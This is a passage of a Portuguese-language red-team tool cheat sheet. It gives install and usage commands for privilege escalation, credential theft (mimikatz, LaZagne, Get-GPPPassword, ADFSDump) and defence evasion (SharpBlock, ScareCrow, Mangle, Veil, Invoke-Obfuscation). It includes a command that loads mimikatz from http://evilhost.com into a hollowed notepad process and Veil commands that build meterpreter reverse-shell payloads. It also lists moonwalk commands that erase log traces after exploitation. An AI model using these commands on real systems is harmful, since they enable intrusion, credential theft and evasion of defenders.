O exemplo completo pode ser encontrado [aqui](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
O Get-GPPPassword é um script PowerShell que faz parte do toolkit PowerSploit, projetado para recuperar senhas de contas locais que são criadas e gerenciadas usando as Políticas de Preferências de Grupo (GPP).
O Get-GPPPassword funciona pesquisando na pasta SYSVOL do controlador de domínio por quaisquer arquivos GPP que contenham informações de senha. Assim que encontra esses arquivos, ele descriptografa as informações de senha e as exibe para o usuário.
**Instalação:**
Siga as [instruções de instalação](https://github.com/A-poc/RedTeam-Tools#powersploit) do PowerSploit desta ficha de ferramentas.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Uso:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script PowerShell para encontrar rapidamente patches de software ausentes para vulnerabilidades de escalonamento de privilégios local.
*Suporta:*
- MS10-015 : Modo de Usuário para Ring (KiTrap0D)
- MS10-092 : Agendador de Tarefas
- MS13-053 : Estouro do Pool do Kernel Win32k NTUserMessageCall
- MS13-081 : Página NULL Win32k TrackPopupMenuEx
- MS14-058 : Desreferenciamento de Ponteiro Nulo Win32k TrackPopupMenu
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Estouro de Buffer do Driver de Fonte
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Identificador de Logon Secundário
- MS16-034 : EoP de Drivers em Modo Kernel do Windows
- MS16-135 : Elevação de Privilégio Win32k
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
**Instalação: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Uso: (PowerShell)```bash
Find-AllVulns
Find-MS14058
*Imagem usada de https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/*
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson é uma ferramenta .NET projetada para enumerar KBs ausentes e sugerir exploits para vulnerabilidades de escalonamento de privilégios.
Ótimo para identificar patches ausentes e sugerir exploits que podem ser usados para explorar vulnerabilidades conhecidas, a fim de obter privilégios mais altos no sistema.
**Instalação:**
Usando [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra o [projeto Watson .sln](https://github.com/rasta-mouse/Watson), escolha "Release" e compile.
**Uso:**```bash
# Run all checks
Watson.exe
Texto da imagem usado de https://github.com/rasta-mouse/Watson#usage
Uma ferramenta baseada em C# que automatiza o processo de descoberta e exploração de DLL Hijacks em binários alvo.
Os caminhos Hijacked descobertos podem ser armados, durante um engagement, para evadir EDRs.
Instalação:
Nota: os pré-requisitos i & ii devem ser colocados no próprio diretório do ImpulsiveDLLHijacks.exe.
Informações de Compilação e Configuração:
ImpulsiveDLLHijack
E para as DLLs Confirmatórias:
Configuração: Copie as DLLs Confirmatórias (maldll32 & maldll64) no diretório do ImpulsiveDLLHijack.exe e então execute ImpulsiveDLLHijack.exe :))
Instruções de instalação de https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Uso:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Exemplos de uso podem ser encontrados [aqui](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
*Imagem usada de https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples*
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Uma ferramenta em C# para extrair todos os tipos de goodies do AD FS.
Criado por Doug Bienstock [@doughsec](https://twitter.com/doughsec) enquanto estava na Mandiant FireEye.
Esta ferramenta foi projetada para ser executada em conjunto com o ADFSpoof. O ADFSdump irá gerar todas as informações necessárias para gerar tokens de segurança usando o ADFSpoof.
**Requisitos:**
- O ADFSDump deve ser executado sob o contexto de usuário da conta de serviço do AD FS. Você pode obter esta informação executando uma listagem de processos no servidor AD FS ou a partir da saída do cmdlet Get-ADFSProperties. Apenas a conta de serviço do AD FS possui as permissões necessárias para acessar o banco de dados de configuração. Nem mesmo um DA pode acessá-lo.
- O ADFSDump assume que o serviço está configurado para usar o Windows Internal Database (WID). Embora seja trivial suportar um servidor SQL externo, este recurso não existe atualmente.
- O ADFSDump deve ser executado localmente em um servidor AD FS, NÃO em um proxy de aplicação web do AD FS. O WID só pode ser acessado localmente via um named pipe.
**Instalação: (Compilar)**
O ADFSDump foi compilado para .NET 4.5 com Visual Studio 2017 Community Edition. Basta abrir o projeto .sln, escolher "Release" e compilar.
**Uso: (Flags)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Explorando o Ataque Golden SAML Contra o ADFS
Imagem usada de https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
O Projeto BeRoot é uma ferramenta de pós-exploração para verificar configurações incorretas comuns e encontrar uma maneira de escalar nosso privilégio.
O objetivo do BeRoot é apenas gerar oportunidades potenciais de escalação de privilégio e não uma avaliação de configuração do endpoint.
Este projeto funciona em Windows, Linux e Mac OS.
Instalação: (Linux)```bash git clone https://github.com/AlessandroZ/BeRoot cd BeRoot/Linux/
**Instalação: (Windows)**
Uma versão pré-compilada do BeRoot pode ser encontrada [aqui](https://github.com/AlessandroZ/BeRoot/releases).
**Uso:**```bash
# Run BeRoot
python beroot.py
# Run BeRoot with user password (If you know the password use it, you could get more results)
python beroot.py --password super_strong_password
Mais informações podem ser encontradas aqui para:
Imagem usada de https://github.com/AlessandroZ/BeRoot
Um ofuscador de scripts e comandos PowerShell compatível com PowerShell v2.0+. Se um endpoint vítima for capaz de executar PowerShell, esta ferramenta é excelente para criar scripts altamente ofuscados.
Instalação:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Uso:**```bash
./Invoke-Obfuscation
Veil é uma ferramenta para gerar payloads metasploit que contornam soluções antivírus comuns.
Pode ser usado para gerar shellcode ofuscado, veja o blog oficial do veil framework para mais informações.
Instalação: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Instalar: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Uso:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Os criadores do Veil escreveram um ótimo [post no blog](https://www.veil-framework.com/veil-command-line-usage/) explicando mais sobre o uso da linha de comando de ordnance e evasion.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Um método de contornar as DLLs de projeção ativa do EDR ao impedir a execução do ponto de entrada.
**Recursos:**
- Bloqueia a execução do ponto de entrada das DLLs do EDR, o que impede que os hooks do EDR sejam colocados.
- Bypass de AMSI sem patches que é indetectável por scanners que procuram patches de código Amsi.dll em tempo de execução.
- Processo hospedeiro que é substituído por um PE de implante que pode ser carregado a partir do disco, HTTP ou named pipe (Cobalt Strike).
- O processo implantado é ocultado para ajudar a evadir scanners que procuram processos ocos (hollowed).
- Os argumentos da linha de comando são falsificados (spoofed) e implantados após a criação do processo usando um método furtivo de detecção de EDR.
- Bypass de ETW sem patches.
- Bloqueia a invocação de NtProtectVirtualMemory quando o chamador está dentro do intervalo do espaço de endereço de uma DLL bloqueada.
**Instalação:**
Use o [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) para compilar o binário do SharpBlock.
Abra o [projeto .sln](https://github.com/CCob/SharpBlock) do SharpBlock, escolha "Release" e compile.
**Uso:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Boa postagem no blog PenTestPartners aqui.
Imagem usada de https://youtu.be/0W9wkamknfM
Alcatraz é um ofuscador de binários x64 com GUI que é capaz de ofuscar vários arquivos pe diferentes, incluindo:
Alguns recursos de ofuscação suportados incluem:
Instalação: (Requisitos)
Instalação: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Uso:**
Usando a GUI para ofuscar um binário:
1. Carregue um binário clicando em `file` no canto superior esquerdo.
2. Adicione funções expandindo a árvore `Functions`. (Você pode pesquisar inserindo o nome na barra de pesquisa no topo)
3. Pressione `compile` (**Nota:** *Ofuscar muitas funções pode levar alguns segundos*)
*Imagem usada de https://github.com/weak1337/Alcatraz*
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle é uma ferramenta que manipula aspectos de executáveis compilados (.exe ou DLL).
Mangle pode remover strings conhecidas de Indicadores de Compromisso (IoC) e substituí-las por caracteres aleatórios, alterar o arquivo inflando o tamanho para evitar EDRs, e pode clonar certificados de assinatura de código de arquivos legítimos.
Ao fazer isso, o Mangle ajuda loaders a evadir scanners em disco e em memória.
**Instalação:**
O primeiro passo, como sempre, é clonar o repositório. Antes de compilar o Mangle, você precisará instalar as dependências. Para instalá-las, execute os seguintes comandos:```
go get github.com/Binject/debug/pe
Em seguida, construa-o``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Uso:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Informações completas de uso podem ser encontradas aqui.
Imagem usada de https://github.com/optiv/Mangle
AMSI.fail é um ótimo site que pode ser usado para gerar snippets PowerShell ofuscados que quebram ou desabilitam o AMSI para o processo atual.
Os snippets são selecionados aleatoriamente de um pequeno conjunto de técnicas/variações antes de serem ofuscados. Cada snippet é ofuscado em tempo de execução/solicitação para que nenhuma saída gerada compartilhe as mesmas assinaturas.
Ótimo blog da f-secure explicando AMSI aqui.
Imagem usada de http://amsi.fail/
ScareCrow é um framework de criação de payloads para side loading (não injeção) em um processo legítimo do Windows (contornando controles de Application Whitelisting).
Uma vez que o loader DLL é carregado na memória, ele utiliza uma técnica para remover os hooks de um EDR das DLLs do sistema que estão rodando na memória do processo.
Quando executado, o ScareCrow copiará os bytes das DLLs do sistema armazenadas no disco em C:\Windows\System32\. Essas DLLs são armazenadas no disco “limpas” de hooks de EDR porque são usadas pelo sistema para carregar uma cópia inalterada em um novo processo quando ele é criado. Como os EDRs apenas hookam esses processos na memória, eles permanecem inalterados.
Ótimos blogs para aprender sobre as técnicas utilizadas pelo ScareCrow:
Instalação:
ScareCrow requer golang 1.16.1 ou posterior para compilar loaders.```bash
git clone https://github.com/optiv/ScareCrow cd ScareCrow
go get github.com/fatih/color go get github.com/yeka/zip go get github.com/josephspurrier/goversioninfo
openssl osslsigncode mingw-w64
go build ScareCrow.go
**Uso:**```
Usage of ./ScareCrow:
-I string
Path to the raw 64-bit shellcode.
-Loader string
Sets the type of process that will sideload the malicious payload:
[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
[*] excel - Loads into a hidden Excel process using a JScript loader.
[*] msiexec - Loads into MSIexec process using a JScript loader.
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
-O string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
-configfile string
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
...
Informações completas de uso podem ser encontradas aqui.
Imagem usada de https://github.com/optiv/ScareCrow
moonwalk é um executável de 400 KB em um único binário que pode limpar seus rastros durante testes de penetração em uma máquina Unix.
Ele salva o estado dos logs do sistema antes da exploração e reverte esse estado, incluindo os timestamps do sistema de arquivos após a exploração, deixando zero vestígios de um fantasma na máquina.
Instalação:```bash curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
**Uso:**```bash
# Start moonwalk straight after getting a shell on the victim Linux endpoint
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
moonwalk start
# Once you are finished, clear your traces
moonwalk finish
Imagem usada de https://github.com/mufeedvh/moonwalk
Excelente ferramenta para obter acesso a hashes e senhas em texto claro no endpoint de uma vítima. Depois de obter acesso privilegiado a um sistema, utilize esta ferramenta para coletar algumas credenciais.
Instalação:
mimikatz.exe encontra-se na pasta x64.Uso:```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Ferramente útil para extrair senhas armazenadas localmente de navegadores, bancos de dados, jogos, e-mail, git, wifi, etc.
**Instalação: (Binário)**
Você pode instalar o binário autônomo a partir de [aqui](https://github.com/AlessandroZ/LaZagne/releases/).
**Uso:**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
